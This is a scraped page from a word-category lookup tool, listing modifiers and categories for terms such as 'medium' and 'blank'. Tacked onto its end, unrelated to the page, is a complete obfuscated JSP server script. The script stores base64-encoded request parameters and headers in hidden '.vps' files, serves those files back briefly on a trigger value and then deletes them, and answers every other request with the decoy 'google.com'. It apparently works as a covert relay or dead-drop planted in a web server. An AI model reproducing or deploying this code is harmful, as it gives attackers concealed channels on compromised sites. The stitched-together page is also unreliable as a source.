Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Members for Fine-Grained Categories
blank_medium
:
paper,
cassette,
cd,
audio_tape,
cardboard_mailer,
rom,
flat,
semiconductor,
steel,
audio,
sleeve,
disk,
bag,
tape,
Modifiers matching
medium
:
computational,
chemical,
translucent,
electronic,
physical,
traditional,
graphical,
nonmetallic,
photosensitive,
restricted,
digital,
visual,
simple,
complex,
abrasive,
frozen,
diverse,
specialized,
synthetic,
commutative,
interactive,
tangible,
alkaline,
transparent,
lasting,
corrosive,
new,
motive,
lightweight,
coarse,
logical,
graphic,
fictional,
artistic,
underlying,
acid,
colloidal,
participatory,
hydrophilic,
dispersed,
violent,
dense,
old,
matte,
moist,
main,
mobile,
blank,
dramatic,
portable,
critical,
legal,
dry,
varied,
big,
nonflammable,
structured,
proprietary,
tactile,
fast,
international,
national,
indigenous,
heavy,
viscoelastic,
friable,
popular,
suitable,
sophisticated,
educational,
convenient,
costly,
isolated,
verbal,
collectable,
ferromagnetic,
communicative,
dead,
specified,
light,
particulate,
elaborate,
personal,
magnetic,
static,
bound,
narrative,
extra,
powdery,
individual,
bigger,
homogeneous,
informal,
disposable,
everyday,
stimulating,
permanent,
planar,
commonplace,
decorative,
standard,
outdoor,
ignitable,
rich,
dangerous,
original,
textured,
authentic,
asian,
cold,
multiple,
brittle,
audible,
movable,
acoustic,
outside,
powerful,
oral,
broadband,
ceramic,
adsorbent,
enduring,
refrigerated,
random,
stationary,
professional,
physiologic,
stereo,
familiar,
nonstandard,
reproductive,
blasting,
optical,
medical,
expansive,
ambient,
uniform,
pedestrian,
universal,
thin,
crushing,
non-greasy,
technological,
larger,
metallic,
inorganic,
defined,
bulky,
dilute,
nutrient,
organized,
saturated,
optional,
elastic,
newer,
binary,
proper,
spherical,
replaceable,
agricultural,
permeable,
moving,
clear,
colored,
flat,
exciting,
biologic,
aesthetic,
dated,
english,
dispersive,
related,
reproducible,
mechanical,
raw,
theatrical,
western,
functional,
necessary,
monetary,
positive,
pointed,
architectural,
free,
creative,
aggressive,
fibrous,
mixed,
inhomogeneous,
sculptural,
reactive,
gaseous,
scientific,
pliable,
thermal,
hot,
textual,
contemporary,
usable,
noncombustible,
damaging,
unconventional,
oversized,
fundamental,
mental,
wearable,
noisy,
unique,
nonvolatile,
shared,
robust,
indoor,
plane,
vertical,
handheld,
distinguishable,
domestic,
continental,
geophysical,
acidic,
electric,
illegal,
hard,
audiovisual,
experiential,
available,
minimal,
good,
impermeable,
sterile,
auxiliary,
global,
cooler,
historical,
special,
insecure,
supporting,
working,
military,
electrical,
linear,
several,
distant,
unstructured,
embedded,
black,
readable,
ordinary,
viscous,
ordered,
alternative,
instructional,
safe,
vulnerable,
macroscopic,
innovative,
turbid,
harder,
systemic,
fixed,
bright,
analog,
undefined,
foreign,
experimental,
sensitive,
driving,
color,
adaptive,
important,
isotropic,
delicate,
indian,
reliable,
local,
discarded,
written,
consumable,
nontraditional,
auditory,
essential,
neutral,
multiphase,
passive,
smaller,
finite,
animated,
informative,
editorial,
peripheral,
wired,
nonconductive,
appropriate,
remote,
nonporous,
sensible,
dynamic,
edible,
soluble,
orthopedic,
amorphous,
volatile,
diamagnetic,
stellar,
technical,
distinct,
plastic,
interpretive,
atmospheric,
starting,
usual,
symbolic,
inexpensive,
offer,
size,
financial,
ancillary,
distributive,
compressible,
formal,
printable,
stable,
glossy,
recreational,
actual,
visible,
durable,
biological,
discontinuous,
broad,
out,
periodic,
commercial,
temporary,
over,
varying,
single,
public,
loose,
photoconductive,
internal,
japanese,
heterogeneous,
five,
copyrighted,
capable,
benign,
antique,
turbulent,
savory,
heavier,
trustworthy,
fluent,
complicated,
difficult,
supportive,
concrete,
smooth,
absorptive,
effective,
secondary,
insoluble,
informational,
smart,
current,
private,
lighter,
external,
noble,
starchy,
clean,
exotic,
limited,
independent,
surrounding,
fighting,
modern,
unwanted,
observable,
abstract,
musical,
published,
measurable,
nonlinear,
objective,
dark,
cultural,
metal,
base,
virtual,
promotional,
moveable,
warm,
broader,
unusual,
advanced,
journalistic,
best,
nutritional,
rigid,
discrete,
accessible,
representational,
anisotropic,
sugary,
rare,
therapeutic,
large,
intermediate,
christian,
perishable,
white,
unrelated,
semitransparent,
up,
regular,
microscopic,
uncoated,
nonmedicinal,
poor,
academic,
industrial,
home,
profitable,
funny,
shiny,
airborne,
porous,
common,
disordered,
fresh,
controlled,
vital,
environmental,
oriented,
acceptable,
conductive,
ephemeral,
valuable,
sized,
literary,
secure,
messy,
wet,
molecular,
primary,
online,
odorous,
atomic,
soft,
geological,
active,
compatible,
spare,
particular,
wide,
nonverbal,
inside,
chinese,
established,
conventional,
thicker,
polymeric,
aqueous,
incompressible,
favorite,
unstable,
social,
unreliable,
temporal,
colorful,
mild,
approved,
refractory,
automotive,
liquid,
aural,
urban,
regional,
adjacent,
asynchronous,
thick,
flexible,
miscellaneous,
expressive,
general,
continuous,
older,
aquatic,
softer,
sundry,
previous,
american,
key,
resilient,
fragile,
removable,
basic,
natural,
inert,
geologic,
glassy,
world,
opaque,
exploratory,
coloured,
fine,
manufactured,
gluey,
number,
transportable,
cool,
astrophysical,
reusable,
heated,
spatial,
granular,
rental,
nonpolar,
sensory,
expensive,
wireless,
african,
connective,
polar,
proteinaceous,
small,
additional,
nonconducting,
collaborative,
solid,
reflective,
typical,
crystalline,
european,
little,
dimensional,
archival,
fluid,
real,
relevant,
prestigious,
artificial,
hydraulic,
hygroscopic,
photographic,
prepackaged,
standardized,
interesting,
percussive,
complementary,
unidirectional,
binding,
absorbent,
open,
organic,
major,
non-conventional,
ocular,
luxurious,
imaginative,
unsecured,
prepared,
irreplaceable,
ancient,
Simple categories matching
blank
:
activity,
wall,
surface,
medium,
material,
area,
sheet,
space,
paper,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>